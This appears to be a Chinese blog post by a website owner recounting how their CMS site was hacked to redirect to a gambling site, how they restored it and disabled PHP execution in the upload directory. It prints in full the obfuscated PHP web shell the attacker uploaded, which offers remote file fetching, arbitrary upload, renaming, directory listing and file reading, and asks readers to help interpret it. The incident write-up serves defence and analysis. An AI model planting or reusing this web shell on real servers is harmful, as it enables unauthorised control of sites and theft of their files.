今天下午五點左右收到通知說微信公眾號的官網連結被限制訪問了,上線一看,官網被黑了,百度通過關鍵字搜到官網條目,點進去直接跳轉到一個博彩網站,這就尷尬了,才一天不上班網站就被黑出翔,實在蛋疼。
於是百度搜解決方案,檢視網站首頁原始碼,發現不對勁
上伺服器一看,幾乎整個網站根目錄都被替換了
原本正常程式碼目錄應該是這樣的
正常的index.php的內容應該如下
結果現在的網站目錄變成這樣了
目錄無變化,但是檔案TMD除了index.php以外其他檔案都沒了,這就尷尬了
檢視現在的index.php的內容
直接變成個html文件了我去。
然後把出檔案全部替換回來,網站恢復正常
接下來尋找被黑原因
進伺服器執行history命令檢視操作命令
未發現異常
推測不是ssh被攻破
是網站程式碼問題
很有可能是cms的漏洞
在網站根目錄通過find ./ -mtime -l 命令檢視最近24小時修改過的檔案
發現upload目錄下有修改過的檔案,進去檢視
發現被人上傳了個指令碼,很鬱悶,之前沒檢視上傳介面,原來這CMS不做上傳防禦的,不做防禦就算了,上傳檔案之後還不會自動把檔案重新命名的,這遊戲能玩?
檢視了下指令碼內容
最後清除了指令碼後,亡羊補牢,設定nginx在上傳目錄下禁止執行php檔案
調整了下攻擊指令碼的格式,內容如下
<?php
error_reporting(0);
$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";
$id=$sr/*+/*+*/("ri"."d_"."si");
$rn=$sr/*+/*+*/("em"."an"."er");
$dn=$sr/*+/*+*/("em"."anr"."id");
$od=$sr/*+/*+*/("ri"."dne"."po");
$rd=$sr/*+/*+*/("ri"."dda"."er");
$cd=$sr/*+/*+*/("ri"."deso"."lc");
$fpc=$sr/*+/*+*/("stn"."etn"."oc_t"."up_e"."lif");
$fgc=$sr/*+/*+*/("stn"."etn"."oc_t"."eg_e"."lif");
$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");
$dlform='<form method="post">
FN:<input name="fn" size="20" type="text">
URL:<input name="url" size="50" type="text">
<input type="submit" value="ok">
</form>';
$ulform='<form method="post" enctype="multipart/form-data">
<input name="uf" type="file">
SP:<input name="sp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$rnform='<form method="post">
ON:<input name="on" size="50" type="text">
NN:<input name="nn" size="50" type="text">
<input type="submit" value="ok"></form>';
$lpform='<form method="post">
DP:<input name="dp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$sfform='<form method="post">
DF:<input name="df" size="50" type="text">
<input type="submit" value="ok">
</form>';
if($_GET['act']=='dl')
{
echo($dlform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$fpc/*+/*+*/($_POST['fn'],$fgc/*+/*+*/($_POST['url']));
}
exit;
}
if($_GET['act']=='ul')
{
echo($ulform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';$muf/*+/*+*/($/*+/*+*/{"_F"."IL"."ES"}["uf"]["tmp_name"],$sp.$/*+/*+*/{"_F"."IL"."ES"}["uf"]["name"]);
}
exit;
}
if($_GET['act']=='rn'){
echo($rnform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$rn/*+/*+*/($_POST['on'],$_POST['nn']);
}
exit;
}
if($_GET['act']=='gp')
{
echo($dn/*+/*+*/(__FILE__));
exit;
}
if($_GET['act']=='lp')
{
echo($lpform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$dp=$_POST['dp'].'/';
$h=$od/*+/*+*/($dp);
while(($fn=$rd/*+/*+*/($h))!==false)
{
if($id/*+/*+*/($dp.$fn))
{
$t1.='D '.$fn.'<br>';
} else {
$t2.=' '.$fn.'<br>';
}
}
$cd/*+/*+*/($dp);
echo($dp.'<br>'.$t1.$t2);
}
exit;
}
if($_GET['act']=='sf')
{echo($sfform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$df=$_POST['df'];
echo('<textarea style="width:100%;height:100%;" wrap="off">'.$fgc/*+/*+*/($df).'</textarea>');
}
exit;
}
?>
看著這攻擊指令碼有點疑問,看不太懂,希望有能看懂的同學一起交流下,另外指令碼有大段的./+/+*/ 這種註釋,這種註釋到底有什麼用,或者說,這不僅僅是註釋?還請有明白的同學指點一番
本作品採用《CC 協議》,轉載必須註明作者和本文連結